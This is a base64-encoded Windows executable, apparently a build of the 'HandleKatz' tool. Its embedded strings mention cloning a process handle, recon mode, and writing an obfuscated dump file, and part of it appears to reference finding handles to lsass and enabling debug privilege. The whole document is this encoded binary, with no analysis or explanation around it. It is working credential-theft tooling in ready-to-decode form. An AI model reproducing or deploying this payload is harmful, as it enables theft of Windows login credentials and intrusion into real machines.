b2JIZGhjR2t1U0kxTUpDREhSQ1FvWkd4c0FFaUpYQ1FnLzlCSWljSHJ2dzhmUkFBQVNMdEJaSFpoY0drek1raU5UQ1FneGtRa0xBQklpVndrSU1kRUpDZ3VaR3hzLzlCSWljSHJrZzhmaEFBQUFBQUFTTHRRYzJGd2FTNWtiTGxzQUFBQVpvbE1KQ2hJalV3a0lFaUpYQ1FnLzlCSWljSHBZdi8vLzVDUWtKQ1FrSkNRUVZSRk1jQkZNZVJXVTBpSnkwaUQ3RERIUkNRc0FBQUFBRWlOZENRc1NZbnhUSW5pdVJBQUFBRG9qTjMvLzRYQWVRbzlCQUFBd0hRWFJUSGtTSVBFTUV5SjRGdGVRVnpERHgrRUFBQUFBQUJOaGVSMERrRzRBSUFBQURIU1RJbmgvMU00UWJnQUVBQUFpMVFrTEVHNUJBQUFBREhKLzFOSVJJdEVKQ3hKaWNUcm5KQ1FrSkNRa0pDUWtKQ1FrSkNRUVZkQlZrV0p4a0ZWVFluTlFWUlZNZTFYU0lub1Zvbk91U2NBQUFCVFNJblRTSUhzeUFVQUFFaU52Q1NBQUFBQVRJMjhKSUFBQUFEelNLdE1pZm5vN1FZQUFFR0p4SVhBZFI1SWdjVElCUUFBUkluZ1cxNWZYVUZjUVYxQlhrRmZ3dzhmZ0FBQUFBQk1pZm5vQUEwQUFFR0p4SVhBRDRRZEFnQUFoZllQaE1VQUFBQkl1RnNxWFNCRGFHVmpUSW5wU0xwcmFXNW5JR1p2Y3NhRUpBQUVBQUFBU0ltRUpNQURBQUJCdkFFQUFBQkl1Q0J3Y205alpYTnpTSW1VSk1nREFBQkl1bVZ6SUhkcGRHZ2dTSW1FSk5BREFBQkl1R0VnYzNWcGRHRmlTSW1VSk5nREFBQkl1bXhsSUdoaGJtUnNTSW1FSk9BREFBQkl1R1VnZEc4Z2JITmhTSW1VSk9nREFBQkl1bk56SUM0dUxpQUtTSW1VSlBnREFBQklqWlFrd0FNQUFFaUpoQ1R3QXdBQS81UWtpQUFBQUV5SitreUo2ZWhDQlFBQTZRZi8vLzhQSDBRQUFFaU52Q1RRQVFBQXVUNEFBQUJGaWZER1JDUnlBRWk0V3lwZElFRjBkR1ZJdW0xd2RHbHVaeUIwU01lRUpNQURBQUFBQUFBQVRJMmtKTUFEQUFCSWlVUWtRRWlOdENUQUFRQUFTTGh2SUdOc2IyNWxJRWlKUkNSUVNMaHVaR3hsSUdaeWIwaUpSQ1JndUdRS0FBQm1pVVFrY0VpNFd5cGRJRTkxZEdaSWlVUWtJRWlKNlBOSXEwaUpWQ1JJdVQ0QUFBQkl1bXh6WVhOeklHaGhTSTI4Sk5BREFBQklpVlFrV0VpNmJTQndhV1E2SUNWSXg0UWt5QU1BQUFBQUFBRHpTS3RJaWZGSWlWUWthRWk2YVd4bE9pQWxjd3BJaVZRa0tFaU5WQ1JBeGtRa01BQkl4NFFrd0FFQUFBQUFBQUJJeDRRa3lBRUFBQUFBQUFEL2xDU1lBQUFBU1luWVRJbmhTSTFVSkNEL2xDU1lBQUFBU0lueVRJbnAvNVFraUFBQUFFeUo0a3lKNlVHOEFRQUFBUCtVSklnQUFBQk5pZmxKaWRoTWllcEVpZkhvMVBELy8rbTUvZi8vRHgrQUFBQUFBRWk2WkNCdWIzUWdaVzVNaWVsSXVGc3RYU0JEYjNWc3g0UWs0QU1BQUd4bFoyVklpWlFreUFNQUFFaTZkV2NnY0hKcGRtbElpWVFrd0FNQUFFaTRZV0pzWlNCRVpXSklpWlFrMkFNQUFMb0tBQUFBWm9tVUpPUURBQUJJalpRa3dBTUFBRWlKaENUUUF3QUEvNVFraUFBQUFPazcvZi8va0VGVlJUSEpSVEhTU0xndUFHRUFZd0J0QUVGVVZWZElpYzh4eVZaSWlkWXgwbE5NaWNORk1jQklnZXlvQUFBQVNJbEVKQ1F4d0V5TlpDUWtTSTFzSkdCbWlVUWtMRWk0TGdCa0FHd0FiQUJJaVVRa0xraTRMZ0JrQUhJQWRnQklpVVFrT0VpNExnQmxBSGdBWlFCSWlVUWtRa2k0TGdCdkFHTUFlQUJJaVVRa1RFaTRMZ0IyQUhnQVpBQklpVVFrVmtpTlJDUXVTSWxFSkdoSWpVUWtPRWlKUkNSd1NJMUVKRUpJaVVRa2VFaU5SQ1JNU0ltRUpJQUFBQUJJalVRa1ZtYUpWQ1EyWm9sTUpFQm1SSWxFSkVwbVJJbE1KRlJtUklsVUpGNU1pV1FrWUVpSmhDU0lBQUFBU01lRUpKQUFBQUFBQUFBQVRJbmgvNVBJQUFBQVFZbkZTSmhJT2ZCelBVaUo4a2dwd2tpTkRGZE1pZUwva3lnQkFBQ0Z3SFVaU0lIRXFBQUFBRVNKNkZ0ZVgxMUJYRUZkdzJZUEgwUUFBRXlMWlFoSWc4VUlUWVhrZGJCRk1lM3IxWkNRa0pDUWtFRldRVlZCVkVtSjFGVkVpY1ZYUkluUFZraUp6bE5JZyt3Z1NJdFpXRWlMaENTQUFBQUFTSVhiZEcyTFVXQkVpMGxrUkRuS2NqWkhqU3dKVEl1d21BQUFBRVNKYVdUL2tJZ0FBQUJGaWVsSmlkZ3gwa2lKd1VuQjRRUkIvOVpJaWNOSWlVWllTSVhiZEZ1TFZtQkJpZENEd2dGSndlQUVUQUhEVElramlXc0lpWHNNaVZaZ1NJUEVJRnRlWDExQlhFRmRRVjdERHg4QVNJdVlnQUFBQU1kQlpDQUFBQUQva0lnQUFBQkJ1QUFDQUFBeDBraUp3Zi9UU0luRFNJbEdXRWlGMjNXbFNNZEdZQUFBQUFCSWc4UWdXMTVmWFVGY1FWMUJYc09Ra0pDUVZWZFdVMGhqYVR4SUFjMkx2WWdBQUFCSUFjOUVpMDhnaTNjWVNRSEpoZlowVm9uVFNZbkxSVEhTZ2ZORVEwSkJRWXNCdVFVVkFBQk1BZGhNalVBQkQ3WUFoTUIwSVdZdUR4K0VBQUFBQUFDSnlzSGlCUUhRQWNGTWljQkpnOEFCRDdZQWhNQjE2VG5aZEJSSmc4SUJTWVBCQkV3NTFuVzRNY0JiWGw5ZHc0dFhKRXVOREZPTFJ4d1B0eFFSU1kwVWs0c0VBa3dCMkVnNXgzZmVpNVdNQUFBQVNBSFhTRG40ZDlCYlNJbkJYbDlkNlJyMS8vK1FrSkNRa0pDUWtKQ1FRVlJCdVVBQUFBQkppY3hYVmt5SnhsTklpZE5JZyt4NFNNZEVKQ0FBQUFBQVRJMUVKRERvWmRqLy8waGpWQ1JzU1lud1RJbmhTTWRFSkNBQUFBQUFRYmtJQVFBQWljZElBZHJvUWRqLy8yYUJmQ1F3VFZwMUJBbkhkQlF4d0VpRHhIaGJYbDlCWE1NUEg0UUFBQUFBQURIQWdUNVFSUUFBRDVUQTYrR1FrSkJCVlVtSnpVaUowVUZVVTBpSjAwaUQ3RkRvMmZqLy8waUZ3SFEwU1luRVNZblpUWW5vTWRKSWljSG80ZWYvLzB5SjRVRzRBSUFBQURIUy8xTTRTSVBFVUxnQkFBQUFXMEZjUVYzRER4OUFBRWk0V3kxZElFWmhhV3pIUkNSQWJHVnpDa3lKNlVpNlpXUWdkRzhnWjJWSWlVUWtJRWk0ZENCaElHeHBjM1JJaVZRa0tFaTZJRzltSUdoaGJtUklpVlFrT0VpTlZDUWdTSWxFSkRER1JDUkVBUDlUQ0VpRHhGQXh3RnRCWEVGZHcxTzZ6OC9ZRkVpSnk3a3hyUUl4U0lQc0lPaHA5di8vdWlmby9aTzVNYTBDTVVpSkEraFg5di8vdWs3b2hwTzVNYTBDTVVpSlF3am9SUGIvLzdxSCs5cTV1WmZzVzVoSWlVTVE2REgyLy8rNnZvYlVxcmt4clFJeFNJbERHT2dlOXYvL3VrT0pNbm01TWEwQ01VaUpReURvQy9iLy83cTFoTVFJdVRHdEFqRklpVU1vNlBqMS8vKzZhb3pOSjdreHJRSXhTSWxETU9qbDlmLy91dE5NYm5tNU1hMENNVWlKUXpqbzB2WC8vN3B4ZmU5T3VXUFhUK1pJaVVOSTZMLzEvLys2ZkdIMFRybGoxMC9tU0lsRFVPaXM5Zi8vdWc0S0pLVzVNYTBDTVVpSlExam9tZlgvLzdvdHh4RmZ1VEd0QWpGSWlVTmc2SWIxLy8rNk1SL1pucmxqMTAvbVNJbERhT2h6OWYvL3V2U3ZmaWU1TWEwQ01VaUpRM0RvWVBYLy83cEtKTDlldVRHdEFqRklpVU40NkUzMS8vKzZSazRhaDdreHJRSXhTSW1EZ0FBQUFPZzM5Zi8vdW9IUUNuYTVNYTBDTVVpSmc0Z0FBQURvSWZYLy83cGhnbk5mdVRHdEFqRklpWU9RQUFBQTZBdjEvLys2dGlpdEVya3hyUUl4U0ltRG1BQUFBT2oxOVAvL3VyK3ovUjY1TWEwQ01VaUpnNkFBQUFEbzMvVC8vN3F5ckVyQ3VUR3RBakZJaVlPb0FBQUE2TW4wLy8rNmVJMnNjYmt4clFJeFNJbURzQUFBQU9pejlQLy91a29jQ0lPNU1hMENNVWlKZzdnQUFBRG9uZlQvLzdwazZJYVR1VEd0QWpGSWlZUEFBQUFBNklmMC8vKzZXL2h6anJreHJRSXhTSW1EeUFBQUFPaHg5UC8vdXR1bzBaYTVNYTBDTVVpSmc5QUFBQURvVy9ULy83cUxlamhNdVRHdEFqRklpWVBZQUFBQTZFWDAvLys2elFWQlVMbTdEczcxU0ltRDRBQUFBT2d2OVAvL3VpcTZOcFM1dXc3TzlVaUpnK2dBQUFEb0dmVC8vN29ZMnljNXVic096dlZJaVlQd0FBQUE2QVAwLy8rNnFhajlrN2t4clFJeFNJbUQrQUFBQU9qdDgvLy91aVFLSktXNU1hMENNVWlKZ3dBQkFBRG8xL1AvLzdyVzNKemt1VEd0QWpGSWlZTUlBUUFBNk1Iei8vKzZ0VVQxdDdreHJRSXhTSW1ERUFFQUFPaXI4Ly8vdXRxY3pidTVNYTBDTVVpSmd4Z0JBQURvbGZQLy83cXZudjJUdVRHdEFqRklpWU1nQVFBQTZIL3ovLys2UlozOWs3a3hyUUl4U0lsRFFPaHM4Ly8vdXNBdDdQcTVEY2xpSmtpSmd5Z0JBQURvVnZQLy8waUR1eEFCQUFBQVNJbURNQUVBQUErRUVRSUFBRWlEdXhnQkFBQUFENFFyQWdBQVNJTzdJQUVBQUFBUGhFVUNBQUJJZzN0Z0FBK0VZZ0lBQUVpRGUyZ0FENFIvQWdBQVNJTzdDQUVBQUFBUGhKa0NBQUJJZzNzSUFBK0V2Z0VBQUVpRGV4QUFENFN6QVFBQVNJTjdHQUFQaEtnQkFBQklnM3NnQUErRW5RRUFBRWlEZXlnQUQ0U1NBUUFBU0lON01BQVBoSWNCQUFCSWczczRBQStFZkFFQUFFaURlMGdBRDRSeEFRQUFTSU43VUFBUGhHWUJBQUJJZzN0WUFBK0VXd0VBQUVpRGUyQUFENFJRQVFBQVNJTjdhQUFQaEVVQkFBQklnM3R3QUErRU9nRUFBRWlEZTNnQUQ0UXZBUUFBU0lPN2dBQUFBQUFQaENFQkFBQklnN3VJQUFBQUFBK0VFd0VBQUVpRHU1QUFBQUFBRDRRRkFRQUFTSU83bUFBQUFBQVBoUGNBQUFCSWc3dWdBQUFBQUErRTZRQUFBRWlEdTZnQUFBQUFENFRiQUFBQVNJTzdzQUFBQUFBUGhNMEFBQUJJZzd1NEFBQUFBQStFdndBQUFFaUR1OEFBQUFBQUQ0U3hBQUFBU0lPN3lBQUFBQUFQaEtNQUFBQklnN3ZRQUFBQUFBK0VsUUFBQUVpRHU5Z0FBQUFBRDRTSEFBQUFTSU83NEFBQUFBQjBmVWlEdStnQUFBQUFkSE5JZzd2d0FBQUFBSFJwU0lPNytBQUFBQUIwWDBpRHV3QUJBQUFBZEZWSWc3c0lBUUFBQUhSTFNJTzdFQUVBQUFCMFFVaUR1eGdCQUFBQWREZElnN3NnQVFBQUFIUXRTSU43UUFCMEpraUR1eWdCQUFBQWRCeElnN3N3QVFBQUFIUVNNY0JJZ3pzQUQ1WEE2d2tQSDRBQUFBQUFNY0JJZzhRZ1c4TzYxdHljNUxtSUp2Z0E2Q0h4Ly85SWc3c1lBUUFBQUVpSmd4QUJBQUFQaGRuOS8vOFBIMEFBdXJWRTliZTVpQ2I0QU9qNThQLy9TSU83SUFFQUFBQklpWU1ZQVFBQUQ0Vy8vZi8vRHg5QUFMcmFuTTI3dVlnbStBRG8wZkQvLzBpRGUyQUFTSW1ESUFFQUFBK0ZwZjMvL3c4ZmdBQUFBQUM2RGdva3BibUlKdmdBNktudy8vOUlnM3RvQUVpSlEyQVBoWXY5Ly85bUxnOGZoQUFBQUFBQXVpM0hFVis1aUNiNEFPaUI4UC8vU0lPN0NBRUFBQUJJaVVOb0Q0VnUvZi8vRHgrQUFBQUFBTG9rQ2lTbHVZZ20rQURvV2ZELy8waUpnd2dCQUFEcFRQMy8vNUNRa0pDUWtKQ1FrSkNRa0pCQlZMb29BQUFBUlRIa1ZsTklpY3RJeDhILy8vLy9TSVBzY0VqSFJDUTRBQUFBQUV5TlJDUTRTTWRFSkVBQUFBQUFTTWRFSkVnQUFBQUE2RW5MLy8rRndIVldNY25IUkNSQUFRQUFBRWk2Y21sMmFXeGxaMlZJdUZObFJHVmlkV2RRU0lsVUpGaElqWFFrUUVpTlZDUlF4MFFrVEFJQUFBQk1qVVFrUkVpSlJDUlF4a1FrWUFEL2t6QUJBQUNGd0hVWFNJdE1KRGovVXloSWc4UndSSW5nVzE1QlhNTVBId0JJaTB3a09FRzVFQUFBQUVtSjhESFNTTWRFSkNnQUFBQUFTTWRFSkNBQUFBQUE2Q0hGLy85SWkwd2tPSVhBZFJqL1V5aEJ2QUVBQUFCSWc4UndSSW5nVzE1QlhNTVBId0QvVXloSWc4UndSSW5nVzE1QlhNT1F1QUVBQUFERGtKQ1FrSkNRa0pDUWtQLy8vLy8vLy8vL0FBQUFBQUFBQUFELy8vLy8vLy8vL3dBQUFBQUFBQUFBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwf0AAAAAA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